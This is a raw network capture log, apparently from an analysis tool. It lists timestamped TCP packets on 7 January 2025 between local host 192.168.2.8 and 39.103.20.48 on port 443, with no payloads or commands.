Jan 7, 2025 04:15:41.327097893 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.327106953 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.327121019 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.327152014 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.327302933 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.327346087 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.327353001 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.327358961 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.327388048 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.327394962 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.327416897 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.327466965 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.327601910 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.327632904 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.327645063 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.327651978 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.327677011 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.327696085 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.460819006 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.460870028 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.460891008 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.460906029 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.460920095 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.460951090 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.460966110 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.461014032 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.461148024 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.461196899 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.461251974 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.461299896 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.461409092 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.461463928 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.461538076 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.461591005 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.461946011 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.461991072 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.462116003 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.462162971 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.462359905 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.462408066 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.462527990 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.462580919 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.462615013 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.462663889 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.462935925 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.462985992 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.463145018 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.463196039 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.463375092 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.463424921 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.463473082 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.463520050 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.463628054 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.463680029 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.463805914 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.463852882 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.464081049 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.464128017 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.464382887 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.464435101 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.464512110 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.464559078 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.464807034 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.464873075 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.465034962 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.465068102 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.465086937 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.465094090 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.465106964 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.465126991 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.465303898 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.465348959 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.465354919 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.465359926 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.465394974 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.465605021 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.465646982 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.465688944 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.465745926 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.465786934 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.465831041 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.465970993 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.466020107 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.466042042 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.466090918 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.496156931 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.547061920 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.547122955 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.547125101 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.547136068 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.547164917 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.547183990 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.547208071 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.547271013 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.547311068 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.547367096 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.547499895 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.547544956 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.547602892 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.547650099 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.547748089 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.547813892 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.547825098 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.547879934 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.548173904 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.548228979 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.548264027 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.548310995 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.548717976 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.548764944 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.548816919 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.548866987 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.549227953 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.549272060 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.549303055 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.549352884 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.549437046 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.549479961 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.549612999 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.549652100 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.549669027 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.549678087 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.549690962 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.549719095 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.549781084 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.549829960 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.550156116 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.550232887 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.550322056 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.550322056 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.550331116 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.550379992 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.550609112 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.550663948 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.550738096 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.550789118 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.551014900 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.551063061 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.551208973 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.551268101 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.551379919 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.551403999 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.551429987 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.551438093 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.551448107 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.551476955 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.551743984 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.551788092 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.551795006 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.551800966 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.551831961 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.551848888 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.551857948 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.551906109 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.551990986 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.552041054 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.552293062 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.552342892 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.552387953 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.552483082 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.633466005 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.633524895 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.633533955 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.633547068 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.633578062 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.633595943 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.633596897 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.633610010 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.633641005 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.633660078 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.633770943 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.633827925 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.633852959 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.633898973 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.633910894 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.633917093 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.633953094 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.633972883 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.634110928 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.634171009 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.634186029 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.634192944 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.634215117 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.634233952 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.634579897 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.634633064 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.634674072 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.634715080 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.635054111 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.635098934 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.635127068 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.635173082 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.635606050 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.635648966 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.635663986 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.635672092 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.635700941 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.635716915 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.635812998 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.635893106 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.635943890 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.635992050 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.636060953 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.636116028 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.636156082 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.636205912 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.636565924 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.636629105 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.636724949 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.636778116 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.637130976 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.637177944 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.637190104 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.637201071 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.637228012 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.637243986 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.637391090 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.637442112 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.637480021 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.637541056 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.637790918 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.637823105 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.637852907 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.637860060 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.637871981 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.637900114 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.638025999 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.638077021 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.638108015 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.638158083 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.638232946 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.638284922 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.638377905 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.638427019 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.638571024 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.638619900 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.638699055 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.638742924 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.768975019 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.768989086 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.769011974 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.769021034 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.769083023 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.769099951 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.769109011 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.769123077 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.769140959 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.769201994 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.769212008 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.769254923 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.769283056 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.769316912 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.806282043 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.806358099 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.806387901 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.806437969 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.806482077 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.806526899 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.806535006 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.806586981 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.806729078 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.806782961 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.806782961 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.806797028 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.806828022 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.806838989 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.806962013 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.807003021 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.807087898 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.807141066 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.807270050 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.807311058 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.807445049 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.807492971 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.807715893 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.807800055 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.807858944 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.807909966 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.808193922 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.808243990 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.808254004 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.808303118 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.808454037 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.808499098 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.808540106 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.808588028 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.809123993 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.809153080 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.809181929 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.809189081 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.809201002 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.809232950 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.809313059 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.809357882 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.809365988 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.809371948 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.809403896 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.809413910 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.809792995 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.809845924 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.809962988 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.810017109 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.810070038 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.810123920 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.810237885 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.810277939 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.810291052 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.810297966 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.810324907 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.810340881 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.810400963 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.810453892 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.810661077 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.810714006 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.810761929 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.810813904 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.810936928 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.810986042 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.811008930 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.811053038 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.811130047 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.811182976 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.019329071 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.019386053 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.435329914 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.435837984 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.529403925 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.529417038 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.529428005 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.529474020 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.529480934 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.529501915 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.529505968 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.529532909 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.529567957 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.635853052 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.635879040 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.635899067 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:42.635976076 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:42.635983944 CET	443	49712	39.103.20.48	192.168.2.8
